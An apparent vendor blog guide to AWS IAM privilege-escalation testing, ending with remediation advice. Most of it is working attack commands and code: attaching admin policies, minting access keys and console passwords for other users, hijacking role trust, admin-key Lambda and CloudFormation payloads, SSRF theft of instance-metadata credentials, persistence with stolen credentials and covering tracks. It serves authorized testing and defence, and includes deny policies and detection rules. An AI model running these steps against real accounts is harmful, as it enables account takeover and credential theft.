AWS IAM Privilege Escalation Testing: Enumeration, Misconfigurations, and Lateral Movement
IAM is the nervous system of AWS. Every API call, every resource access, every cross-service interaction runs through it. When an attacker compromises a single low-privilege IAM identity — a developer's access key left in a public GitHub repository, a Lambda execution role with one extra permission, an EC2 instance profile that was never scoped down — IAM is the mechanism that determines how far they can go. And in most AWS accounts, they can go very far indeed.
The majority of high-profile cloud breaches follow a common pattern: initial access via a compromised credential or SSRF, followed by IAM enumeration, followed by privilege escalation to admin. The initial compromise is often unavoidable. The escalation to admin usually isn't — it's the result of overly permissive IAM policies that have accumulated over years of "we'll fix it later" velocity-optimized deployments.
This guide walks through every phase of IAM privilege escalation testing: from initial enumeration with minimal permissions, through finding escalation paths in policy misconfigurations, to lateral movement via role chaining and instance metadata abuse. All techniques covered here are standard methodology for authorized penetration testing and red team engagements.
Phase 1: Initial Enumeration
The first thing you do with any set of AWS credentials is establish who you are and what you can see. Start with the identity check — it costs you one API call and tells you whether you're working with an IAM user, a role assumed via STS, or a federated identity.
# Who am I?
aws sts get-caller-identity
# Output:
# {
# "UserId": "AIDA...",
# "Account": "123456789012",
# "Arn": "arn:aws:iam::123456789012:user/developer-ci"
# }
The ARN tells you whether you're a user (iam::user/), a role (sts::assumed-role/), or a service account. From here, enumerate what policies are attached to your identity without needing iam:List* on the whole account — these calls only require permissions on your own identity:
# List groups the current user belongs to
aws iam list-groups-for-user --user-name developer-ci
# List directly attached managed policies
aws iam list-attached-user-policies --user-name developer-ci
# List inline policies
aws iam list-user-policies --user-name developer-ci
# Get the actual policy document for an inline policy
aws iam get-user-policy --user-name developer-ci --policy-name MyInlinePolicy
# Get the current version of a managed policy
aws iam get-policy --policy-arn arn:aws:iam::123456789012:policy/DevPolicy
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
--version-id v1
If you have broader enumeration permissions, map the entire account's IAM landscape:
# All users, roles, groups, policies in one shot
aws iam get-account-authorization-details \
--output json > iam-snapshot.json
# List all roles (useful for finding assumable targets)
aws iam list-roles --output json | jq '.Roles[] | {RoleName, Arn, AssumeRolePolicyDocument}'
# List all managed policies
aws iam list-policies --scope Local --output json
Automated Enumeration with enumerate-iam
Manual enumeration is slow. The enumerate-iam tool brute-forces what actions your credentials can perform by calling every IAM API and recording which succeed. It's noisy — hundreds of API calls — but invaluable when you need a complete picture fast:
pip install enumerate-iam
python enumerate_iam.py \
--access-key AKIA... \
--secret-key ... \
--region us-east-1
The output is a categorized list of every allowed action. Pay attention to anything in the iam:, sts:, lambda:, ec2:, and cloudformation: namespaces — these are the services most frequently involved in privilege escalation chains.
Pacu: The AWS Exploitation Framework
Pacu from Rhino Security Labs is the Metasploit of AWS pentesting. Its IAM modules are particularly relevant:
pip install pacu
# Start Pacu and create a session
pacu
# Import your credentials
Pacu (session) > import_keys --access-key AKIA... --secret-key ...
# Enumerate IAM permissions
Pacu (session) > run iam__enum_permissions
# Find privilege escalation paths automatically
Pacu (session) > run iam__privesc_scan
# Enumerate users, groups, roles, policies
Pacu (session) > run iam__enum_users_roles_policies_groups
The iam__privesc_scan module is the killer feature. It cross-references your current permissions against Rhino Security's documented escalation paths and outputs exactly which paths are available to you — no manual policy reading required.
Phase 2: Finding Over-Permissive Policies
IAM policies accumulate debt faster than technical debt in a startup. Every time a developer needs to unblock themselves at 2am, they add another wildcard. Every time a CI pipeline fails due to a missing permission, someone adds * to the resource. The result is policies that look reasonable from ten thousand feet and are catastrophically overpermitted up close.
Wildcard Actions
The most obvious pattern. A policy with iam:* gives the principal full IAM admin. A policy with s3:* on * gives read/write/delete access to every bucket in the account. These appear more often than they should — especially in roles created for Lambda functions or ECS tasks by developers who just wanted it to work.
# Find all policies containing iam:* (jq on the authorization details snapshot)
cat iam-snapshot.json | jq -r '
.UserDetailList[], .RoleDetailList[], .GroupDetailList[] |
.AttachedManagedPolicies[]?.PolicyName,
.UserPolicyList[]?.PolicyName,
.RolePolicyList[]?.PolicyName
' | sort -u
For a more thorough approach, cloudsplaining by Salesforce generates an HTML report of every over-privileged policy in your account:
pip install cloudsplaining
# Export the authorization details
aws iam get-account-authorization-details \
--output json > account-authorization-details.json
# Run cloudsplaining analysis
cloudsplaining scan \
--input-file account-authorization-details.json \
--output cloudsplaining-report/
Cloudsplaining categorizes findings by severity: privilege escalation, data exfiltration, resource exposure, and infrastructure modification. The HTML report makes it easy to triage dozens of findings quickly.
Inline vs Managed Policies
Inline policies — JSON attached directly to a user, group, or role rather than managed as a standalone resource — are frequently missed in reviews because they don't appear in iam list-policies. They're also harder to audit at scale. Always explicitly enumerate inline policies:
# Get inline policy for a role
aws iam get-role-policy \
--role-name LambdaExecutionRole \
--policy-name InlinePermissions
NotAction and NotResource Misuse
The NotAction and NotResource elements are the IAM equivalent of denylisting — they grant access to everything except what's listed. The problem: developers typically use them to "allow everything except iam:" thinking they've prevented privilege escalation. They haven't. NotAction: ["iam:*"] still allows sts:AssumeRole, which is all you need to pivot to a more privileged role.
A policy with Effect: Allow, NotAction: ["iam:*"], Resource: "*" is not a least-privilege policy. It grants every non-IAM action in every AWS service, which includes sts:AssumeRole, Lambda invocation, CloudFormation stack creation, and dozens of other vectors for privilege escalation.
Phase 3: IAM Privilege Escalation Paths
Spencer Gietzen of Rhino Security Labs documented 21 IAM privilege escalation paths in 2018. Many have since been added. These are the ones that appear most frequently in real-world assessments.
Direct Policy Manipulation Paths
With iam:CreatePolicyVersion on a managed policy you're already attached to, you can create a new version of that policy with AdministratorAccess permissions and set it as default.
# Create a new admin policy version
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
With iam:SetDefaultPolicyVersion, if a managed policy has multiple versions and an older version granted broader permissions, you can revert to that version without creating any new resources.
# List versions of a policy to find a more permissive one
aws iam list-policy-versions \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy
# Revert to a more permissive older version
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy \
--version-id v1
With these permissions, you can directly attach the AWS-managed AdministratorAccess policy to your own user, your group, or a role you can assume.
# Attach AdministratorAccess directly to your user
aws iam attach-user-policy \
--user-name developer-ci \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
With these permissions, you can create or overwrite an inline policy — granting yourself arbitrary permissions without creating a standalone managed policy resource.
Credential and Login Profile Paths
If an IAM user has no console password set and you have iam:CreateLoginProfile, you can create one — enabling console access for that user. Particularly dangerous when targeting users attached to admin groups.
# Create a console password for a target user
aws iam create-login-profile \
--user-name admin-user \
--password 'Pwn3d@2026!' \
--no-password-reset-required
Same impact as CreateLoginProfile, but works on users who already have a console password — effectively a password reset attack against a higher-privileged IAM user.
With iam:CreateAccessKey targeting another user, you can generate a new access key pair for that user. Each IAM user can have two active keys — you can add yours without removing theirs, making the action less visible.
# Create access keys for a more privileged user
aws iam create-access-key --user-name admin-user
# Returns AccessKeyId and SecretAccessKey — now use them
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
With iam:AddUserToGroup, add your user to a group with broader permissions — an admin group, a developers group with overly broad S3 or IAM access, or any group whose attached policies exceed your current permissions.
iam:PassRole-Based Escalation Paths
iam:PassRole is the permission that allows a principal to associate an IAM role with an AWS service. It's intended as a controlled delegation mechanism. In practice, iam:PassRole combined with the ability to create or invoke certain services is equivalent to assuming the passed role — which may be far more privileged than your current identity.
Create a Lambda function with an execution role that has admin permissions. Invoke the function with a payload that calls iam:AttachUserPolicy or creates access keys. The function runs as the execution role, not as you.
# 1. Create the Lambda with an admin execution role
aws lambda create-function \
--function-name privesc-function \
--runtime python3.12 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://function.zip
# 2. Invoke it to escalate privileges
aws lambda invoke \
--function-name privesc-function \
--payload '{"action": "create_admin_user"}' \
output.json
The Lambda function code that creates an admin access key:
import boto3
import json
def handler(event, context):
iam = boto3.client('iam')
# Running as the admin execution role — full IAM access
response = iam.create_access_key(UserName='attacker-user')
return {
'AccessKeyId': response['AccessKey']['AccessKeyId'],
'SecretAccessKey': response['AccessKey']['SecretAccessKey']
}
Launch an EC2 instance with an instance profile bound to a privileged role. The instance inherits the role's permissions via IMDS. Access it via SSM Session Manager (no SSH key required if the role has ssm:StartSession) and call the metadata endpoint.
Create a CloudFormation stack with a service role that has admin permissions. The stack template can include arbitrary resource creation — IAM users, access keys, policy attachments — executed as the service role.
# CloudFormation template that creates an admin access key
# template.yaml:
# Resources:
# AttackerKey:
# Type: AWS::IAM::AccessKey
# Properties:
# UserName: attacker-user
# AttachAdmin:
# Type: AWS::IAM::UserToGroupAddition
# Properties:
# GroupName: Administrators
# Users: [attacker-user]
aws cloudformation create-stack \
--stack-name privesc-stack \
--template-body file://template.yaml \
--role-arn arn:aws:iam::123456789012:role/CloudFormationAdminRole \
--capabilities CAPABILITY_IAM
AWS Glue development endpoints and jobs can run arbitrary Python/Scala code with the permissions of the service role. Create a Glue job with an admin role, execute it to perform privilege escalation actions.
Create a CodeBuild project with a privileged service role. The buildspec.yml can include arbitrary shell commands — including AWS CLI calls that leverage the service role's permissions.
Role Trust Policy Manipulation
With iam:UpdateAssumeRolePolicy, modify the trust policy of any role to allow your current identity to assume it. The most direct path to assuming a more privileged role without needing existing trust.
# Modify a high-privilege role's trust policy to allow assumption
aws iam update-assume-role-policy \
--role-name AdminRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::123456789012:user/developer-ci"
},
"Action": "sts:AssumeRole"
}]
}'
# Then assume the role
aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/AdminRole \
--role-session-name escalation-session
Phase 4: Cross-Account Trust Exploitation
Role trust policies control not just which IAM identities within an account can assume a role, but which accounts and identities from outside the account can do so. Misconfigured cross-account trust is a critical finding — it can expose your entire account to compromise from a partner or vendor with weaker security controls.
Overly Permissive Trust Policies
A trust policy that specifies an entire AWS account as the principal — arn:aws:iam::ACCOUNT_ID:root — allows any IAM identity in that account to assume the role, subject to them having sts:AssumeRole permission. If that external account has weak IAM controls, it becomes your attack path.
# Enumerate cross-account trust relationships
aws iam list-roles --output json | jq -r '
.Roles[] |
select(.AssumeRolePolicyDocument.Statement[].Principal.AWS != null) |
{
RoleName: .RoleName,
TrustedPrincipals: [.AssumeRolePolicyDocument.Statement[].Principal.AWS]
}
'
External ID Bypass
The External ID condition is intended to prevent the "confused deputy" problem — a trusted third party being tricked into assuming a role on behalf of a malicious actor. When implemented correctly, the External ID is a shared secret known only to the account owner and the trusted third party. When misconfigured, it's often set to a predictable value (the account ID, the company name, "external") or left publicly visible in documentation or IaC code.
# Assuming a role with a known or guessed External ID
aws sts assume-role \
--role-arn arn:aws:iam::VICTIM_ACCOUNT:role/VendorAccessRole \
--role-session-name test-session \
--external-id "company-name-2026"
Confused Deputy Attack
If a third-party service (SaaS tool, AWS partner) has been granted a cross-account role and uses a predictable or absent External ID, you can impersonate that service from a different AWS account to assume the target role. The AWS service itself becomes the deputy that performs actions on your behalf.
Phase 5: Instance Metadata Service (IMDS) Abuse
The Instance Metadata Service runs on a link-local address (169.254.169.254) accessible from within EC2 instances, ECS tasks, and certain Lambda configurations. It serves instance metadata, user data scripts, and — critically — temporary credentials for the instance's IAM role. IMDS is one of the most exploited components in AWS attacks because it requires no authentication in its v1 form.
IMDSv1 Credential Theft
IMDSv1 is a simple HTTP GET request. Any code running on the instance — or any SSRF vulnerability in an application on the instance — can retrieve the instance role's credentials with a single unauthenticated request:
# From inside an EC2 instance: get the role name
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get the actual credentials
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyInstanceRole
# Response:
# {
# "Code": "Success",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIA...",
# "SecretAccessKey": "...",
# "Token": "IQoJb3JpZ2luX2V...",
# "Expiration": "2026-07-03T18:00:00Z"
# }
SSRF-to-IMDS Attacks
Any SSRF vulnerability in a web application running on EC2 can be leveraged to reach the metadata endpoint. The classic test — replace a URL parameter with the IMDS address and check if the response contains AWS credentials:
# SSRF probe targeting IMDS
curl "https://vulnerable-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# If successful, follow up with the role-specific endpoint
curl "https://vulnerable-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AppRole"
For ECS Fargate tasks, the metadata endpoint is different but the principle is identical. The credentials endpoint is provided via an environment variable:
# Inside an ECS Fargate task
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
# For newer ECS environments (ECS Task Metadata Endpoint v4)
curl "http://169.254.170.2/v4/credentials"
Lambda Execution Environment
Lambda functions expose their execution role credentials via environment variables automatically injected by the runtime — no HTTP request required:
# Inside a Lambda function (Python)
import os
print(os.environ.get('AWS_ACCESS_KEY_ID'))
print(os.environ.get('AWS_SECRET_ACCESS_KEY'))
print(os.environ.get('AWS_SESSION_TOKEN'))
If you can inject code into a Lambda function via a deserialization vulnerability, a Server-Side Template Injection, or an RCE, you get its execution role credentials for free.
IMDSv2 Bypass Considerations
IMDSv2 requires a session-oriented two-step process: first obtain a session token with a PUT request, then use that token in GET requests. This breaks many SSRF attacks because most SSRF vulnerabilities can only make GET requests — but not all. If the application follows redirects or can be coerced into making PUT requests, IMDSv2 provides weaker protection than commonly assumed.
# IMDSv2 — requires PUT to get token first (harder via SSRF)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: $TOKEN"
Phase 6: Lateral Movement via Assumed Roles
Once you have credentials — whether from IMDS, a compromised access key, or direct IAM manipulation — the next phase is understanding what you can assume from here and how to persist in the environment.
Role Chaining
Role chaining is the act of assuming a role from an already-assumed role session. Each sts:AssumeRole call creates a new session with a maximum duration of one hour, regardless of the role's configured max session duration. This matters for detection: role chaining creates a chain of CloudTrail events, each showing the assumed-from ARN — which can be useful for both attackers (building a trail that obscures the original compromise) and defenders (tracing the full attack path).
# Step 1: Assume a first role from your compromised user
CREDS=$(aws sts assume-role \
--role-arn arn:aws:iam::123456789012:role/CrossAccountReadRole \
--role-session-name first-hop)
# Step 2: Export the new credentials
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken')
# Step 3: From the first role, assume a second more privileged role
aws sts assume-role \
--role-arn arn:aws:iam::987654321098:role/AdminRole \
--role-session-name second-hop
Long-Lived Session Tokens
IAM user access keys are permanent — they don't expire unless rotated. STS temporary credentials from AssumeRole last up to 12 hours (configurable per role). When you obtain credentials from IMDS, they're typically valid for 6 hours and automatically rotated. If you export them and use them from outside the instance, they'll work until expiry even after the instance is terminated.
# Check when your current session expires
aws sts get-caller-identity # Shows the ARN
# Expiry is in the AssumeRole response's Credentials.Expiration field
# Persist credentials by exporting to a profile
aws configure set aws_access_key_id ASIA... --profile stolen
aws configure set aws_secret_access_key ... --profile stolen
aws configure set aws_session_token IQoJb3J... --profile stolen
# Use the profile — valid until Expiration timestamp
aws s3 ls --profile stolen
Credential Persistence via New Access Keys
If you've escalated to a level where you can create IAM access keys, creating a new permanent key for an existing IAM user is the most durable persistence mechanism. Unlike assumed role sessions, IAM user access keys don't expire:
# Create a new permanent access key for a high-privilege user
aws iam create-access-key --user-name admin-user
# Clean up an access key later (if covering tracks)
aws iam delete-access-key \
--user-name admin-user \
--access-key-id AKIA...
Tools Reference
| Tool | Purpose | Key Feature |
|---|---|---|
| Pacu | AWS exploitation framework | iam__privesc_scan auto-finds escalation paths |
| enumerate-iam | Permission brute-forcing | Discovers all allowed actions for a credential set |
| cloudsplaining | Policy risk analysis | HTML report of over-privileged policies across an account |
| IAM Vulnerable | Lab environment | Terraform-deployed intentionally vulnerable IAM config for practice |
| aws CLI | Everything | --query + --output json for scriptable output |
Remediation: Hardening IAM Against Privilege Escalation
Least Privilege at the Policy Level
Every IAM policy should grant only the permissions explicitly needed by the entity it's attached to — nothing more. In practice this means:
- No wildcard actions (
iam:*,s3:*,ec2:*) in production policies - Resource constraints wherever supported — never
Resource: "*"for sensitive actions - Separate roles per Lambda function and ECS task, scoped to that component's actual requirements
- Regular review cycles: IAM Access Analyzer continuously reports findings, but someone needs to act on them
Service Control Policies (SCPs)
SCPs in AWS Organizations are the highest-level guardrail. They restrict what permissions can be granted within member accounts, regardless of what IAM policies say. An SCP that denies iam:CreatePolicyVersion, iam:AttachUserPolicy, and iam:CreateLoginProfile across all accounts (except the management account) eliminates the direct manipulation escalation class entirely:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyIAMPrivEscPaths",
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachUserPolicy",
"iam:AttachRolePolicy",
"iam:AttachGroupPolicy",
"iam:PutUserPolicy",
"iam:PutRolePolicy",
"iam:PutGroupPolicy",
"iam:CreateLoginProfile",
"iam:UpdateLoginProfile",
"iam:CreateAccessKey",
"iam:UpdateAssumeRolePolicy",
"iam:AddUserToGroup"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": [
"arn:aws:iam::MGMT_ACCOUNT:role/BreakGlassAdmin"
]
}
}
}
]
}
IAM Permission Boundaries
A permission boundary is a managed policy attached to an IAM entity that defines the maximum permissions that entity can have. Even if an overly permissive policy is later attached, the effective permissions are the intersection of the boundary and the attached policies. Permission boundaries don't prevent privilege escalation by themselves — but they significantly raise the bar for anyone attempting to escalate through policy manipulation.
# Apply a permission boundary to a role
aws iam put-role-permissions-boundary \
--role-name LambdaExecutionRole \
--permissions-boundary arn:aws:iam::123456789012:policy/MaxPermissionBoundary
IAM Access Analyzer
Enable IAM Access Analyzer in every region where you operate. It continuously monitors resource-based policies and IAM roles for external access and cross-account trust relationships that allow access from outside your zone of trust. For privilege escalation specifically, the Access Analyzer policy validation feature flags unused permissions, overly permissive policies, and known-dangerous permission combinations during IaC review and before deployment.
# Create an Access Analyzer for external access monitoring
aws accessanalyzer create-analyzer \
--analyzer-name account-analyzer \
--type ACCOUNT
# List current findings
aws accessanalyzer list-findings \
--analyzer-arn arn:aws:accessanalyzer:us-east-1:123456789012:analyzer/account-analyzer
Enforce IMDSv2
Require IMDSv2 at the instance level and at the account level. Block IMDSv1 with an SCP and with the instance metadata options at launch time:
# Enforce IMDSv2 on new EC2 instances via account-level setting
aws ec2 modify-instance-metadata-defaults \
--http-tokens required \
--http-put-response-hop-limit 1
# Verify enforcement
aws ec2 get-instance-metadata-defaults
CloudTrail Monitoring for IAM Actions
Every IAM API call is logged in CloudTrail. The escalation paths described in this article leave distinct footprints — CreatePolicyVersion, AttachUserPolicy, AssumeRole chains, CreateAccessKey for non-current users. Configure CloudWatch Alarms or EventBridge rules to alert on these events in real time:
# EventBridge rule to alert on high-risk IAM events
{
"source": ["aws.iam"],
"detail-type": ["AWS API Call via CloudTrail"],
"detail": {
"eventName": [
"CreatePolicyVersion",
"SetDefaultPolicyVersion",
"AttachUserPolicy",
"AttachRolePolicy",
"CreateLoginProfile",
"UpdateLoginProfile",
"CreateAccessKey",
"AddUserToGroup",
"UpdateAssumeRolePolicy"
]
}
}
IAM privilege escalation is one of the highest-impact attack classes in cloud environments. A single over-permissive role or one forgotten inline policy can give an attacker a path from zero to account admin. Ironimo's automated scanning continuously tests your AWS environment against documented escalation paths, misconfigured trust policies, and IMDS exposure — surfacing the same findings a skilled penetration tester would find, on demand, at a fraction of the cost.